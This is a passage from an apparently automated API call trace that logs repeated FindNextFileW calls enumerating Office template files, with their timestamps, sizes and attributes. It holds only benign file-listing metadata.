dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0196.880] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36f5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyReport.dotx", cAlternateFileName="ADJACE~2.DOT")) returned 1 [0196.880] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyResume.dotx", cAlternateFileName="ADJACE~3.DOT")) returned 1 [0196.880] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR1.XLT", cAlternateFileName="")) returned 1 [0196.880] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR10.XLT", cAlternateFileName="")) returned 1 [0196.880] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR2.XLT", cAlternateFileName="")) returned 1 [0196.881] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR3.XLT", cAlternateFileName="")) returned 1 [0196.881] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR4.XLT", cAlternateFileName="")) returned 1 [0196.881] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR5.XLT", cAlternateFileName="")) returned 1 [0196.881] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR6.XLT", cAlternateFileName="")) returned 1 [0196.881] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR7.XLT", cAlternateFileName="")) returned 1 [0196.881] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR8.XLT", cAlternateFileName="")) returned 1 [0196.881] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR9.XLT", cAlternateFileName="")) returned 1 [0196.881] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryLetter.dotx", cAlternateFileName="APOTHE~1.DOT")) returned 1 [0196.882] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8b847f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8b847f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryNewsletter.dotx", cAlternateFileName="APOTHE~3.DOT")) returned 1 [0196.882] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36007, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryResume.dotx", cAlternateFileName="APOTHE~2.DOT")) returned 1 [0196.882] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BillingStatement.xltx", cAlternateFileName="BILLIN~1.XLT")) returned 1 [0196.882] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blog.dotx", cAlternateFileName="BLOG~1.DOT")) returned 1 [0196.882] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BloodPressureTracker.xltx", cAlternateFileName="BLOODP~1.XLT")) returned 1 [0196.882] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdf70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChronologicalLetter.dotx", cAlternateFileName="CHRONO~1.DOT")) returned 1 [0196.882] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11aa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChronologicalResume.dotx", cAlternateFileName="CHRONO~2.DOT")) returned 1 [0196.883] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb714a07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x125418, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClassicPhotoAlbum.potx", cAlternateFileName="CLASSI~1.POT")) returned 1 [0196.883] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContemporaryPhotoAlbum.potx", cAlternateFileName="CONTEM~1.POT")) returned 1 [0196.883] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e536, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialLetter.dotx", cAlternateFileName="ESSENT~3.DOT")) returned 1 [0196.883] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbafe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialReport.dotx", cAlternateFileName="ESSENT~2.DOT")) returned 1 [0196.883] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7ad38b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4593e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialResume.dotx", cAlternateFileName="ESSENT~1.DOT")) returned 1 [0196.883] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExpenseReport.xltx", cAlternateFileName="EXPENS~1.XLT")) returned 1 [0196.883] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e332373, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e332373, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e332373, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GettingStarted16", cAlternateFileName="GETTIN~1")) returned 1 [0196.884] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1 [0196.884] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIL.OFT", cAlternateFileName="")) returned 1 [0196.884] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Word 2003 Look.dotx", cAlternateFileName="OFFICE~1.DOT")) returned 1 [0197.434] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE", cAlternateFileName="")) returned 1 [0197.464] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1 [0197.467] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59f49, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginReport.Dotx", cAlternateFileName="ORIGIN~2.DOT")) returned 1 [0197.467] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7f98f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21aa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginResume.Dotx", cAlternateFileName="ORIGIN~1.DOT")) returned 1 [0197.467] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalMonthlyBudget.xltx", cAlternateFileName="PERSON~1.XLT")) returned 1 [0197.468] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7f98f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pitchbook.potx", cAlternateFileName="PITCHB~1.POT")) returned 1 [0197.468] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3b42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJPLAN.XLTX", cAlternateFileName="PROJPL~1.XLT")) returned 1 [0197.468] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17697, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuizShow.potx", cAlternateFileName="QUIZSH~1.POT")) returned 1 [0197.468] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb86bf6b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb86bf6b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcdbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedAndBlackLetter.dotx", cAlternateFileName="REDAND~2.DOT")) returned 1 [0197.468] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b56a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedAndBlackReport.dotx", cAlternateFileName="REDAND~1.DOT")) returned 1 [0197.468] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb845d09, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb845d09, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb86bf6b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa8ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="SalesReport.xltx", cAlternateFileName="SALESR~1.XLT")) returned 1 [0197.468] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc51, dwReserved0=0x0, dwReserved1=0x0, cFileName="StudentReport.dotx", cAlternateFileName="STUDEN~1.DOT")) returned 1 [0197.469] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c2c3dcb, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x2aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKLIST.XLTX", cAlternateFileName="TASKLI~1.XLT")) returned 1 [0197.469] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8b847f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8b847f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimeCard.xltx", cAlternateFileName="TIMECA~1.XLT")) returned 1 [0197.469] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf18, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimelessLetter.dotx", cAlternateFileName="TIMELE~2.DOT")) returned 1 [0197.469] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: 